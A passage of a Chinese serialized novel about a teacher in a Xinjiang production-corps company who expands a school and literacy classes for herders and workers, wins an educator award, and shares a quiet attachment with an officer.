他环视了一下在场的牧民,朗声说道:“我跟几户家里有娃娃的都商量过了!以后,娃娃们不去什么毡房点念书了!” 舒染的心提了起来。 老阿肯脸上绽开笑容,斩钉截铁地说:“都去你的启明小学!正儿八经地学!路远不怕,我们几家凑了马,轮流接送!娃娃们能跟上石头、阿迪力他们一起学,我们放心!” 这简直是喜从天降。舒染完全没料到,最大的阻力源老阿肯,竟然成了她最得力的动员者。她激动地站起来:“老阿肯,图尔迪大哥,还有各位乡亲,这……这真是太感谢你们了!我保证,一定教好孩子们!” “谢什么!”老阿肯笑得爽朗,“是你舒老师有本事,让我们这些老家伙开了窍。以后启明小学有什么事,需要我们牧区出力的,你只管开口!” 从牧区回来,舒染脚步轻快,心里那块关于生源的大石头彻底落了地。老阿肯的转变和全力支持,比任何连里的文件都更有力。 几天后的一个下午,春耕的间隙,舒染看到田埂边休息的几个妇女正围着王大姐,看她在本子上划拉名字。舒染走过去,顺手捡起一根树枝,就在平整的泥地上写了个“苗”字。 “大家看,这是禾苗的‘苗’。咱们现在辛苦,就是为了地里的苗能长好。” 妇女们好奇地围过来,七嘴八舌地问着。舒染就势在田埂上开了个简易的识字课,教她们认“田”、“水”、“工”。 正热闹着,一个声音在旁边响起:“舒老师。” 舒染抬头,看见陈远疆不知何时站在田边,依旧是那身旧军装,风纪扣扣得严严实实。他手里拿着一本用旧报纸包着封皮的书。 “陈干事。”舒染拍拍手上的土,站起身。 陈远疆的目光扫过地上的字迹,又落到舒染因日晒有些发红的脸上,将手里的书递过来:“这本书,或许对你有用。” 舒染接过,翻开报纸封皮,是一本半旧的《农村实用扫盲教学法》。书页有些泛黄,但保存得很整洁。 “这……”舒染抬头,眼里有些迟疑。 “师部资料室清理旧书,我看着有用,就申请了。”陈远疆语气平淡,“你用得着就好。” 说完,他冲王大姐等人微微颔首,便转身离开了。 舒染看着他的背影消失在田垄尽头,心中的情绪似乎涌上来一点。 晚上,在煤油灯下,舒染仔细翻阅了那本《农村实用扫盲教学法》,里面很多结合生产生活实际的教学案例,让她可以结合使用。 她拿出一张信纸,裁下一小条,研墨,用钢笔工工整整地写了四个字:同志共勉。 墨迹干透,她将这张小字条夹进了那本《农村实用扫盲教学法》的扉页里。 第二天,她寻了个机会,在连部门口遇到正要外出的陈远疆。 “陈干事,书我看完了,很有启发,谢谢你。”她把用旧报纸重新包好的书递还给他。 陈远疆接过,点了点头,接过书便大步离开了。 直到晚上回到自己单独的地窝子,陈远疆才在灯下打开了那本书。报纸包封滑落,扉页上那张字条映入眼帘。 他动作顿住,拿起字条展开。 “同志共勉。” 陈远疆的目光在那四个字上停留了许久,灯光将他深邃的五官勾勒得有些柔和。 他极其小心地将字条上的折痕一点点抚平,然后他打开随身携带的牛皮笔记本,将这张字条平平整整地夹了进去。 做完这一切,他将笔记本收好,吹熄了灯。 黑暗中,一切情绪都隐于无声。 第86章 牧区孩子的加入和田埂识字课的口碑, 让启明小学和扫盲工作在畜牧连乃至周边区域铺展开来。 但舒染没有沉浸在初步的成功里,她察觉到仅仅依靠早晚工余和田间地头的零碎时间,无论是儿童教育还是成人扫盲, 都难以深入和系统化。 几天后,舒染带着一份更为详尽的计划书, 找到了刘书记和马连长。 “书记,连长,”舒染将计划书放在桌上, 开门见山,“这是关于咱们示范点下一步工作的几点具体设想,想请连里把关。” 刘书记拿起计划书,马连长也凑过来看, 标题是《关于在畜牧连试行“生产学习一体化”模式的初步方案》。 “生产学习一体化?”刘书记扶了扶眼镜, 有些疑惑。 “对, ”舒染解释道:“赵主任强调生产是中心, 完全正确。我的想法是, 让学习和生产结合得更紧密, 不是两张皮,而是互相促进。” 她指着计划书里的条目:“比如, 第一,我们可以把扫盲识字和具体的生产技能培训结合起来。请马技术员或者有经验的老师傅, 在讲农机操作、牲畜疫病防治的时候,我们把关键的操作要领、药品名称、剂量用法, 编成顺口溜, 或者直接写成字块让大家认、记。这样,学了字马上就能用到生产上,认得准, 记得牢,还能减少操作失误。” 马连长摸了摸下巴,点头:“这倒是个路子。上次就有个新职工,差点把两种农药搞混,认不清标签。” “第二,”舒染继续说,“我们可以尝试‘以工代学’。比如,连里不是要清理那段旧的排碱渠吗?我们可以组织扫盲班的学员,特别是家属工,在完成定额任务后,利用休息时间,由我或者小助手,在现场教他们认些相关的字词。既完成了生产任务,又结合实地场景学了文化,还不额外占用整块的生产时间。” 刘书记眼中露出了感兴趣的神色:“嗯……这样搞,赵主任那边,阻力可能会小一些。学习没脱离生产,反而是在促进生产。” “第三,”舒染抛出她思考已久的想法,“是关于牧区的。老阿肯他们现在积极送孩子来上学,但我们不能只让孩子来回跑。我建议,连里是否可以支持我们,定期……比如每旬一次,组织一个小型的流动服务组去牧区?我负责给牧区的妇女和年纪稍大、暂时无法来连队上学的孩子进行集中教学;许君君同志可以同时开展巡诊,普及卫生常识;甚至可以请懂牧业的技术员一起去,现场解答养殖、草场方面的疑问。一次出动,多重效益。” 马连长一拍大腿:“这个好!服务了牧区群众,加强了民族团结,也体现了我们连队对牧区工作的关心和支持!老刘,我看行!” 刘书记仔细地看着计划书,沉吟片刻:“舒染同志,你这个想法很有价值,考虑得也比较周全。尤其是结合生产这一点,抓得很准。这样,这个方案先放在我这里,我和马连长再仔细研究一下,也要和赵卫东同志通个气。不过,原则上我是支持的。你可以先在小范围内,比如王桂兰她们那个扫盲小组,试着搞一两次‘以工代学’,看看效果。” 有了刘书记这句话,舒染心里就有了底。她知道,事情要一步步来。 她首先找到王大姐,把“以工代学”的想法说了。王大姐如今对学习热情高涨,立刻响应:“成!舒老师,你说怎么干就怎么干!清理排碱渠那活儿我知道,妇女队也参加,我跟她们说去,保准没问题!” 第一次“以工代学”试点,选在了周末下午,清理连队西边一段废弃的排碱渠。参加的主要是扫盲班的妇女,还有几个半大的孩子。舒染也扛着铁锹来了。 劳动间歇,大家坐在渠边休息。舒染没用书本,而是直接用铁锹在平整的泥地上写了个大大的“渠”字。 “姐妹们,咱们今天干的活儿,清理的就是这个——渠!”她指着地上的字,“排碱渠的‘渠’。” “水流土,人劳动。咱们出力流汗,就是为了把地里的碱排出去,让庄稼长好,这就是‘劳动光荣’!”她顺势把四个字连起来。 妇女们围着看,七嘴八舌地念着,用手在地上比划。王大姐学得最认真,嘴里念念有词:“渠……水渠的渠……这下记住了,跟咱们干的活对上了!” 现场教学时间不长,也就十来分钟,但结合着具体的劳动场景和身体记忆,效果出奇的好。连之前有些畏难情绪的妇女,也觉得这字不那么陌生和枯燥了。 消息很快传开。赵卫东在下一周的生产调度会上,布置完生产任务后,补充了一句:“……各排班组,在组织生产劳动时,可以适当结合实际情况,开展一些必要的、实用的技术讲解和文化学习,但要确保不影响生产进度和安全。” 这几乎是对“以工代学”模式的赞许了。 舒染抓住这个机会,开始系统地将识字教学与畜牧连的各项生产活动结合。在机耕队检修拖拉机时,她跑去请教技术员,然后把相关生产的词汇编成顺口溜,教给感兴趣的职工;在饲料加工房,她带着妇女们她们认配方上的字…… 她的身影不再仅仅局限于那间小小的工具棚教室,而是活跃在畜牧连的田间地头、机房圈舍。 她也不再是那个只会在黑板上写写画画的“舒老师”,而是逐渐成为了融入生产一线、能用文化知识解决实际问题的“舒染同志”。 这天傍晚,舒染从豆腐坊帮李秀兰核对完这个月的豆渣出库记录回来,在连部旁边的路口,又遇到了陈远疆。他似乎是刚巡逻回来,马背上还驮着些东西。 “陈干事。”舒染主动打招呼。 陈远疆的目光在她脸上停留了一瞬,点了点头:“听说你的‘生产学习一体化’,搞得很热闹。” 舒染笑了笑:“都是在赵主任划的框框里,瞎琢磨。” 陈远疆淡淡地笑了一下,像是被她的用词逗乐,又像是别的什么。他没再继续这个话题,而是从马背上的挎包里拿出一个牛皮纸袋,递给她。 “这是什么?”舒染接过,有些疑惑。 “一些旧报纸,还有几本过期的《农村科技通讯》。上面有些关于科学种田、畜牧养殖的小文章,或许对你的‘结合生产’有用。” 舒染打开纸袋翻了翻,里面的报纸和刊物虽然陈旧,但内容确实很实用,比如如何堆肥、如何识别常见的牲畜病症、如何节约用水灌溉等。这比那本《农村实用扫盲教学法》更贴近畜牧连当下的需求。 她抬起头,眼睛亮晶晶的:“太有用了!陈干事,你真是……” “举手之劳。”陈远疆打断了她的话,牵起马缰,“师部资料室定期清理,放着也是浪费。” 舒染低头看了看怀里的资料,一个更大胆的想法开始在她脑海中酝酿。或许,她的示范点,不应该只停留在扫盲和基础教育。结合这些科技资料,再加上她新时代的一些想法,她也许可以尝试做更多…… * 春耕最忙碌的时节稍稍过去,连队的节奏却并未放缓。启明小学的学生明显多了起来,尤其是牧区的孩子,在老阿肯的安排下,每天由家长轮流骑马送到连队,放学再接回,教室里挤得满满当当。 舒染更忙了。学生程度不一,她不得不分出更多精力进行分组教学,白天上课,晚上就在煤油灯下赶制更实用的新教材。 王大姐和李秀兰成了她的得力助手,一个帮着维持秩序、照顾年幼孩子,一个帮着制作简单的识字卡片。 这天下午,舒染正带着孩子们在教室外的空地上,用树枝在地上练习新生字,一辆沾满尘土的吉普车驶进了连队,径直停在了连部门口。 车上下来两个人,走在前面的孙处长,跟在他身后的年轻人提着公文包。刘书记和马连长闻讯从连部快步迎出,态度颇为恭敬。 “孙处长!您怎么亲自来了?也没提前通知一声,我们好准备一下。”刘书记热情地握手。 孙处长笑了笑,目光却越过刘书记的肩膀,落在了不远处空地上那群蹲在地上写写画画的孩子和站在他们中间的舒染身上。 “路过,顺便来看看你们的这个示范点。”孙处长语气平和,但眼神锐利,“走,去看看舒染的工作吧?” “好好!”马连长连忙朝舒染招手,“舒老师,快过来一下!” 舒染心里有些打鼓,拍了拍手上的灰土,整理了一下衣襟,快步走了过去。 “孙处长,您来了。” 孙处长没有多余的寒暄,直接问道:“舒染同志,听说你这里学生增加了很多,还有不少牧区的孩子?教学上有什么困难吗?” 舒染定了定神,条理清晰地汇报:“报告孙处长,目前启明小学共有学生三十二名,其中牧区孩子十二名。困难确实有,主要是教室拥挤,课桌椅不够,教学用品也比较短缺。” 她话锋一转,语气充满了干劲,“但我们正在努力克服。连里支持我们利用废旧木料打制新桌椅,王桂兰同志和李秀兰同志也给了我很大帮助。牧区的老阿肯和家长们非常支持,孩子们学习热情很高。” 孙处长边听边点头,忽然指着空地上那些字迹问:“那是你在教他们写字?” “是。结合生活实际的教学。” “效果怎么样?我能去看看吗?”孙处长说着,便迈步朝孩子们走去。 舒染赶紧跟上,刘书记和马连长交换了一个眼神,也跟了过去。 孩子们看到这么多大人过来,都有些拘谨地站了起来。孙处长和气地蹲下身,看着地上的字迹,然后随意指着一个看起来年纪较小的牧区男孩,用生硬的民语问了句什么。 那男孩有些害羞,看了看舒染。舒染鼓励地点点头。男孩鼓起勇气,用带着口音的汉语回答:“这……是‘牧场’,我们……放羊的地方。” 孙处长脸上露出了真切的笑容。他又指向旁边一个女孩写的字,女孩立刻大声说:“‘渠’!我阿爸去挖渠了!” 孙处长站起身,看向舒染,目光里多了几分赞许:“不错。不是死记硬背,能学以致用。”他环视着这群孩子,尤其是在那几个牧区孩子脸上停留了片刻,感慨道,“能让牧区的孩子坐下来安心读书,愿意说汉语,认得工分票,这就是了不起的成绩!” 他转向刘书记和马连长,语气严肃了几分:“基层教育,尤其是民族地区的扫盲和教育工作,意义重大,难度也大。舒染同志能在这么艰苦的条件下,打开局面,得到群众的支持,很不容易!这说明她的工作方法是行之有效的,是深入到群众中去的!” 刘书记连连称是:“是是是,舒老师确实付出了很多,我们也一定继续支持!” 孙处长又对舒染说:“你的情况,杨振华干事跟我提过。师部教育处会重点考虑你们这个示范点的需求,必要的教学物资,会优先调配一些。” 他顿了顿,声音提高了一些,确保周围的人都听得清,“舒染同志,好好干!你这个典型,我们树定了!不仅要解决眼前的困难,还要把经验总结出来,争取在全师推广!” 这番话,让刘书记和马连长脸上都有光了,看向舒染的眼神更加不同。周围的职工和家属们小声议论着,看向舒染的目光充满了钦佩。 舒染的心怦怦直跳,这不仅仅是物资的支持,更是来自师部一级的正式认可。 她压下激动的情绪,“请领导放心,我一定再接再厉,绝不辜负组织的信任和大家的期望!” 孙处长满意地点点头,又勉励了几句,便在连队领导的陪同下离开了。 他们一走,王大姐第一个冲过来,抓住舒染的胳膊,激动地说:“舒老师!我听那话的意思是,师里都要树咱们当典型了!” 李秀兰也兴奋地脸颊通红:“太好了!以后咱们再也不怕没粉笔用了!” 孩子们虽然不太明白“树典型”的具体含义,但感受到大人们的喜悦,也都围着舒染又笑又跳。 舒染看着眼前一张张喜悦的脸庞,心中充满了成就感。 第87章 每月头一个周三, 是舒染回师部教育科述职的日子。 这个安排固定下来后,成了她连队生活里一个带有特殊节奏的节点。科里协调的交通通常是一辆前往师部运送物资或办事的顺风车,这次更巧, 许君君也要去师部卫生科领取药品和参加一个短暂的卫生员培训。 “这可好了,路上有伴儿, 不用对着一车土豆或者麻袋大眼瞪小眼了!”许君君得知能同行,高兴地挽住舒染的胳膊。 自从舒染频繁往来师部,她们姐妹间说说体己话的机会反倒少了。 出发这天清晨, 一辆半旧的运输卡车停在连部门口,驾驶室里除了司机,还能再挤一个人。舒染直接把许君君推进了副驾驶,“你晕车, 坐前面。我跟后面物资挤挤, 没事儿。” 车厢里堆着半车麻袋, 不知装的是粮食还是羊毛, 散发出一种牲口气息的味道。舒染找了个相对稳妥的角落, 用旧麻袋垫着坐下, 背靠着驾驶室后壁。戈壁滩的清晨寒气重,她裹紧了身上的衣服, 这是王大姐硬塞给她的,说师部风大。 许君君通过车窗递过来一个军用水壶和一小包东西, “染染,水壶里是热水, 这包是炒麦子, 路上垫垫。” 车子颠簸着驶出畜牧连。舒染喝了一口热水,驱散了些许寒意。她看着戈壁滩,心里盘算着这次述职要汇报的内容:牧区孩子稳定入学的情况、妇女扫盲班在春耕间隙的坚持、还有教材编写的一些新想法…… 车子行驶在坑洼的土路上, 颠得人骨头都快散了架。舒染紧紧抓着车厢板,努力在摇晃中保持平衡。 她不禁想起上次和陈远疆一起去司令部开会时,他那些不动声色的照顾。对比之下,这趟敞篷卡车之旅,才是她这个基层教育工作者更常态的出行方式。 “想什么呢?”许君君趁着司机停车解手的机会,也从前面跳下来,爬到后车厢陪她。 “在想,这路什么时候能修平整点。”舒染笑着岔开话题,递过炒麦子,“一起吃。” 许君君抓了一小把,塞进嘴里嚼着,含糊不清地说:“我看你是想某个人了吧?上次开会回来,魂儿都像丢了一半在师部。” 舒染嗔怪地拍了她一下,“瞎说什么。我是在想述职的事。”她顿了顿,压低声音,“你说,这次那个‘优秀基层教育工作者’的评选,能有信儿了吗?” 杨振华之前透露的消息,让她一直记在心里。这个称号若能落下,对她,对启明小学,对整个畜牧连的教育工作,都意味着一层更坚实的保障。 许君君眨眨眼,也压低声音:“我看有戏!你上次在兵团大会上都挂了号的,孙处长能不给你争取?放心吧,我看这回八九不离十!” 路上走了大半天,中午时分,车子终于晃进了师部大院。相比畜牧连,甚至比起团部,师部确实像个繁华之地。整齐的房屋,路上行走的人们衣着也体面不少,甚至能看到几辆自行车驶过。 舒染和许君君在招待所门口下了车,约好回去的时间。舒染拎着自己那个装着汇报材料和几本学生作业的旧布包,径直朝教育科所在的红砖小楼走去。 教育科的办公室比连部宽敞明亮得多,墙上挂着地图和各类报表。舒染到时,孙处长正在和另一个干事谈话,见她进来,点了点头,示意她先坐。 等待的间隙,科里另一位年轻干事小张给她倒了杯热水,态度比以往更热络些:“舒染同志来了,路上辛苦了吧?孙处长刚才还念叨你呢,说你这个月的汇报材料准备得肯定扎实。” 舒染道了谢,心下明白,这种态度的细微变化,多半与她在兵团工作会议上露了脸,以及那个尚未正式宣布的评选有关。她并不点破,只谦逊地笑了笑:“都是应该做的,连里情况复杂,正好也多向处里领导汇报,请示工作。” 过了一会儿,孙处长那边谈完了,招呼舒染过去。 他在办公桌后坐下,拿起舒染提前递交的书面汇报概要翻了翻,直接问:“口头补充一下吧,重点说说牧区那几个孩子,还有扫盲班妇女的学习状态。春耕这么忙,有没有出现大面积掉队的情况?” 舒染早有准备,条理清晰地回答道:“处长,牧区那边,图尔迪家的阿迪力现在学习很稳定,还能帮着维持课堂纪律。他带来的牧区孩子也基本跟上了,就是语言关还得慢慢磨。老阿肯那边态度明确支持,几户牧民商量着轮流接送孩子,解决了路程和安全的大问题。至于扫盲班……” 她顿了顿,实话实说,“确实有几位大姐因为家里劳力紧,最近来得断断续续。但王桂兰大姐带头坚持,李秀兰现在也能帮着独当一面了,我们把学习内容化整为零,利用晚上歇工后的一点时间,或者在田埂地头见缝插针地教几个字,效果慢点,但没完全停下。” 孙处长听得认真,手指在桌面上轻轻敲着:“嗯,因地制宜,不搞一刀切,这个思路是对的。困难要正视,但办法总比困难多。你们在基层,最了解实际情况。” 他话锋一转,语气里带上了几分正式,“另外,告诉你一个消息。兵团和师部两级‘优秀基层教育工作者’的评选结果,已经正式下文了。” 舒染的心提了一下,屏住呼吸。 孙处长从抽屉里拿出一份红头文件,递到她面前:“你榜上有名。兵团一级的,全师也就两个。师部一级的,自然也有你。” 尽管早有心理准备,但当这个消息被白纸黑字地正式确认时,一股热流还是涌上了舒染的心头。 她接过文件,目光迅速扫过那些字,果然在名单中看到了自己的名字。她稳了稳心神,抬起头,眼神清亮:“谢谢组织肯定!这份荣誉不属于我个人,是属于我们畜牧连所有支持教育工作的领导和职工,属于启明小学的孩子们,还有像王大姐、许卫生员这样一直帮助我的同志们。” 孙处长脸上露出了笑意:“客套话就不必说了。这份荣誉,是对你从无到有创办启明小学,扎扎实实推进扫盲工作的肯定。你在兵团会议上的发言,领导是认可的。接下来,示范点的担子更重了,你要有心理准备。” 他补充道,“按规定,兵团级的优秀工作者,有五十元奖金,师级的有二十元。奖金和奖状,等下个月全师开表彰大会的时候一起颁发。” 七十块钱,这在当时是一笔不小的款项。舒染立刻在心里盘算开来:可以给学校添置一批物资,不用再全靠拾荒和赞助了;还可以买些便宜的彩色纸张,教孩子们做点手工;或许还能给王大姐、李秀兰她们买点实用的东西表示谢意…… 从孙处长办公室出来,舒染感觉脚步都轻快了许多。 她先去相关科室办理了手续,领了下个月的特约调研员津贴,虽然不多,但也是贴补。最后又去图书室借了几本相关书籍。 傍晚,她和完成培训的许君君在招待所汇合。 一见面,许君君就迫不及待地问:“怎么样怎么样?述职顺利吗?那个评选……” 舒染压下嘴角的笑意,故意叹了口气。 许君君脸色一垮:“啊?没成啊?不可能啊!” 看她真急了,舒染才噗嗤笑出来,凑到她耳边低声说:“成了!兵团和师部的,都成了!还有奖金呢!” 许君君惊喜的叫了一嗓子,激动得差点跳起来,赶紧捂住嘴,眼睛笑得弯弯的:“我就知道!太好了染染!这下看谁还敢说咱们搞教育是不务正业!”她比舒染还兴奋,拉着她往外走,“走,今天说什么也得庆祝一下!我请客,我们去服务社买两个肉罐头,再打一份青菜!” 两个姑娘真的奢侈了一把,在师部服务社买了两个午餐肉罐头,打了一份炒土豆丝,用油纸包着,又买了两个白面馒头,回到招待所房间,关起门来美美地吃了一顿。 “这下好了,”许君君咬着馒头,含糊地说,“回去我看赵主任还能说什么。这可是兵团给的荣誉!” 舒染夹了一筷子土豆丝,心里却比吃了肉还满足。她想的不仅仅是堵住赵卫东的嘴,更是这笔奖金和荣誉能带来的实际改变。 “这是个不错的开始,”她眼神里透着光,“后面得让更多的孩子靠它走出去,看到更大的世界。” 第二天回程,舒染怀里揣着喜悦和那份七十元奖金的巨款预期,感觉连颠簸的路途都不那么难熬了。风吹在脸上,带着戈壁滩特有的干燥气息,她却觉得格外畅快。 车子快到畜牧连时,舒染远远地就看见了教师前面那块空地上那面迎风招展的国旗,以及国旗旁那座凝聚了她和无数人心血的新教室。 许君君也看到了,她碰碰舒染的胳膊,笑着说:“看,咱们的根据地到了。”—— 作者有话说:【国庆节小剧场】 今天是十月一日,国庆节。 天还没大亮,舒染就和王大姐、李秀兰在连队食堂后厨忙开了。 “舒老师,这面饽饽真照你说的,做出五角星样子了!”王大姐举着用模子扣出来的玉米面星星饽饽,笑着说。 李秀兰小心地往另一锅蒸饽饽上点红点:“舒染姐说啦,这叫仪式感!” 舒染正用连里特批下来的一点羊肉和野地里挖的沙葱、恰玛古(蔓菁根茎)熬了一大锅浓稠的汤。香气弥漫开来,引得早早跑来食堂探头探脑的石头、栓柱他们直吸鼻子。 上午十点整(新疆时差),启明小学全体学生,连同不少闻讯而来的职工和牧民,都聚集在了新教室前平整出来的小操场上。 陈远疆带着两名战士,步伐整齐地走来。他们今天要为启明小学升一次国旗。 “升旗,敬礼!” 声音落下,陈远疆将国旗甩向天空。众人齐唱国歌,五星红旗在国歌声中升起。 石头站得笔直,阿迪力拉着妹妹阿依曼的手,目不转睛地望着那抹红色升到旗杆顶端。人群里,老阿肯抚着胡须,默默点了点头。 仪式结束,舒染搬出那一筐星星形状的面饽饽和那一大桶香喷喷的恰玛古炖羊肉汤。 “今天国庆节,咱们加餐!” 孩子们欢呼起来,自觉排好队,由王大姐、李秀兰和充当临时帮工的许君君帮着舒染分发。 舒染低头检查那锅羊肉汤,眼角的余光却捕捉到了一道难以忽视的视线。 她抬起头,目光恰好撞进陈远疆的眸中。 陈远疆站在几步开外,正和马连长说着什么,但他的目光却越过马连长落在她身上。那眼神仿佛在确认什么,又仿佛只是不由自主。 舒染捏着勺子的手不自觉地收紧,她飞快地垂下眼,搅动着锅里的汤。 陈远疆似乎也意识到了自己的失态,立刻移开了视线,侧过头去,对马连长的话点了点头。 舒染赶紧将一碗碗汤递给孩子们。面饽饽和肉汤主要留给孩子们,所以每个孩子领到一个星星饽饽和一勺肉汤。 战士们坚决推辞了舒染递过来的汤碗和王大姐递来的卖相不太好的星星饽饽,语气温和:“孩子们长身体要紧。” 陈远疆连忙带着战士们退到人群外围,维持着秩序。 还剩一部分饽饽喝肉汤,舒染优先分给了带孩的家属和几位年长的牧民。多数成年职工和牧民则乐呵呵地摆摆手,他们本就是被升旗仪式和热闹气氛吸引来的,看着孩子们吃得香甜,脸上也洋溢着笑容。 阿依曼咬着饽饽,仰头对舒染说:“老师,饽饽是甜的!” 那是舒染掺进去的一点糖精,这几乎是她能想到的能给孩子们最好的节日味道。 虎子几口就吞下了饽饽,捧着碗喝汤,烫得直吐舌头也舍不得放下。巴彦和赛达尔学着连队孩子的样子,用树枝做的小叉子叉着饽饽吃,脸上是是满足的笑。 舒染给自己也端了一碗汤,靠在墙边喝着。她的目光扫过过孩子们的笑脸,扫过王大姐、李秀兰和许君君吃饽饽喝肉汤时满足的神色,不禁感慨万分:匮乏中的情谊,集体的温暖,以及每个人对未来生活的美好祈愿,这些比任何美食都更令人慰藉。 当陈远疆的目光又看过来时,舒染冲陈远疆笑了笑,用口型说了句“一切顺利,谢谢你。” 他读懂了,眼神柔和地点了点头,便重新将注意力放回人群。 舒染收回目光,重新看向她的学校,她的孩子们,心中愈发充盈。 ———————— [红心]祝大家国庆节快乐! 第88章 卡车在连部门口的土坡下停稳, 舒染和许君君拎着东西跳下车。 人还没站稳,早就等在坡上的石头就激动地冲了下来。 “舒老师!舒老师!是不是真的?你是不是当上兵团的‘优秀’了?”石头气喘吁吁地问。 舒染和许君君对视一眼,都有些诧异。消息传得这么快? “你听谁说的?”舒染笑着摸了摸石头的脑袋。 “连部都在传呢!说师里来了电话通知!”石头兴奋地手舞足蹈, “还说有奖金!舒老师,你真厉害!” 这时, 王大姐也闻讯从食堂那边赶了过来,围裙都忘了解,“舒老师你可回来了!路上辛苦了吧?事儿……都定了?”她问得含蓄, 但眼神里的期盼显而易见。 “定了,大姐。”舒染迎着王大姐的目光点点头,“兵团和师部的,都评上了。” “好!好啊!”王大姐一巴掌拍在自己大腿上, 声音洪亮, 引得远处几个正在忙活的职工都望了过来, “这下可真是给咱们连, 给咱们学校争了大光了!” 这消息迅速传遍了畜牧连。舒染往女工宿舍走的一路上, 不断有人跟她打招呼, 语气比往日更添了几分热络和敬佩。 “舒老师回来啦!” “恭喜啊舒老师!” “咱畜牧连也出人物了!” 舒染一一笑着回应,不卑不亢。她能感觉到那些目光里的分量。有真心为她高兴的, 如王大姐、张桂芬这些受益于扫盲的家属;有纯粹看热闹的;自然,也少不了审视与衡量。 果然, 还没走到宿舍门口,赵卫东背着手从连部方向踱了过来, 脸上挂着让人捉摸不透的表情。 “舒染同志回来了?述职顺利?” “顺利, 赵主任。”舒染停下脚步,态度恭敬。 “嗯,顺利就好。”赵卫东点点头, 目光在舒染脸上扫了一圈,像是要确认什么,“听说……你在外面又得了荣誉?还不少?” “是组织和领导对我们畜牧连教育工作的肯定。”舒染把对孙处长说的话又搬了出来,把个人荣誉巧妙地转化为集体功劳。 赵卫东“嗯”了一声,听不出喜怒:“荣誉是好事,能鼓舞士气。不过……” 他话锋一转,回到了他永恒的主题,“眼下的生产正是吃紧的时候,劳力、物资都卡在刀刃上。咱们心里得有杆秤,任何时候,都不能让这些锦上添花的事情,干扰了生产大局。你说是不是这个理?” 他话说得滴水不漏,但核心意思明确:荣誉你拿了,我承认,但我不会轻易让你借此多要资源、多占劳力。 舒染心里明镜似的,面上却丝毫不露,反而顺着他的话点头:“赵主任提醒得对,生产是基础,我明白。教育工作一定在服从生产大局的前提下开展,不会给连里添麻烦。” 赵卫东对她的识趣似乎还算满意,又勉励了两句“戒骄戒躁”、“继续努力”,这才背着手走了。 许君君在一旁撇撇嘴,等人走远了才低声道:“瞧他那样子,像是怕你仗着这点荣誉上天了。” 舒染笑了笑,没说话。她早就料到会是如此。赵卫东的界限划得很清晰,这份荣誉,更多是给她披上了一层护身符,让明面上的刁难有所顾忌,但想凭此打破他生产优先的铁律,还远远不够。 回到地窝子,李秀兰正纳着鞋底,看见她们进来,连忙放下手里的活计,眼神里带着询问。 “秀兰,”舒染主动开口,语气轻快,“评上了,兵团和师部都评上了。” 李秀兰眼睛一亮,由衷地道:“太好了,舒老师!你真了不起!” 舒染看出她心思,走过去拍拍她的肩膀:“这里面也有你的功劳。扫盲班你帮了那么多忙,妇女干事也当得越来越好。等奖金发下来,咱们好好规划一下,给学校,也给咱们自己,添置点东西。” 李秀兰被她说得有些不好意思,但眼神明显亮了起来,用力点了点头。 晚上,舒染在煤油灯下整理从师部带回来的书籍和材料。王大姐端着一碗冒着热气的浓菜汤走了进来,轻轻放在她桌上。 “快,趁热吃了。跑这两天,累坏了吧?”王大姐看着她,“别光顾着忙,身子要紧。” “谢谢大姐。”舒染心里一暖。 “谢啥。”王大姐在她床边坐下,压低声音,“赵主任那边……他的话,你别往心里去。他就是那么个人,眼里只有生产指标。不过现在你有这荣誉在身,他多少也得顾忌点。” “我知道,大姐。”舒染用小勺搅动着碗里,“荣誉是压力,也是动力。赵主任有他的难处,我们按我们的节奏做事就好。” 第二天一早,舒染精神抖擞地出现在启明小学。 孩子们显然都从家里大人那儿听到了消息,课堂气氛格外热烈。阿迪力甚至在舒染走进教室时,带头喊了一声:“老师好!恭喜!” 舒染站在讲台上,看着下面一张张充满朝气的脸,清了清嗓子,没有先提荣誉的事,而是将一本用旧报表纸和牛皮纸装订成的册子放在了讲台上。 这是她结合兵团生活和牧区实际,利用在师部编写教材的经验和思路,为启明小学孩子们准备的自编实用语文读本第一册的雏形。 “同学们,今天我们不急着学新字。”舒染拿起那本册子,“我们来看看,我们学的字,到底能做什么用。” 她翻开一页,上面是她用绘图铅笔仔细书写的课文,旁边还有许君君帮忙画的简笔画插图。 “石头,你来读读这一段。”舒染点了名。 石头站起来,挺起胸膛,略带磕绊但基本流畅地念道:“通知:明天下午放学后,全体学生留下,参加班级大扫除。自带抹布。启明小学。X月X日。” “很好。”舒染示意他坐下,然后看向全班,“大家听明白了吗?石头念的是什么?” “大扫除!”虎子抢着说。 “要带抹布!”小丫补充。 “对,这就是一个通知。”舒染在黑板上写下“通知”两个大字,“我们学会了这些字,就能看懂连队黑板报上的通知,知道什么时候开会,哪里放电影,就不会错过重要的事情。” 她又翻开另一页,这次叫起了阿依曼。阿依曼有些害羞,但在舒染鼓励的目光下,还是轻声读了起来,内容是关于如何记录每天帮家里干了哪些活,如“拾柴一筐”、“喂鸡三次”,并配上简单图画。 “阿依曼读的,像不像我们有些同学在家里帮忙做的事?”舒染引导着,“如果我们把自己做的事,用简单的字和画记下来,是不是就能清楚地告诉阿爸阿妈,我们今天没有偷懒?” 牧区来的巴彦和赛达尔眼睛亮了亮,似乎对这种贴近他们生活的知识很感兴趣。 接着,舒染又展示了读本里模拟的借条格式:今借到XX同学铅笔一支,明日归还。借款人:XXX。 紧接着是认领启事:本人丢失铅笔一根,有捡到者请告知XX,谢谢。 她没有空泛地讲授,而是通过紧密结合孩子们生活经验的读本,展示了识字和文化如何改变生活、解决问题、提升效率。 课堂气氛从最初的躁动好奇,逐渐转变为专注和思考。孩子们第一次如此直观地感受到,他们学的每一个字,都可能在未来某个时刻派上大用场。 “老师得到的荣誉,”舒染这时才将话题引回,她举起那本自编读本,“是因为我们启明小学的每一位同学,都在认真地学习这些有用的知识,是因为我们在这里做的每一件事,都在让我们的生活、让我们的连队、让我们的边疆变得更好一点点。这份光荣,来自于我们每一天的认真听讲,每一次的大声朗读,每一笔的工整书写。” 她看着孩子们,“荣誉是过去努力的证明,但更重要的是未来。我希望大家能和我一起,继续学好这本读本里的每一个字,每一篇文,把它们变成我们手里的工具。大家有没有信心?” “有!”孩子们异口同声地回答。他们或许不完全理解荣誉的意义,但他们感受到了学习的用处和老师话语中的期望。 就在这时,教室门口出现了一个身影。是赵卫东。他不知何时来的,静静地站在那里听了一会儿。舒染发现了他,暂停讲课,看向门口。 赵卫东的目光在那本自编读本上停留了片刻,又扫过教室里一个个坐得笔直的孩子,最后冲舒染点了一点头便转身离开了。 舒染收回目光,敲了敲黑板,将孩子们的注意力拉回课堂,“好了。我们继续。接下来,我们来模拟写一份借条……” * 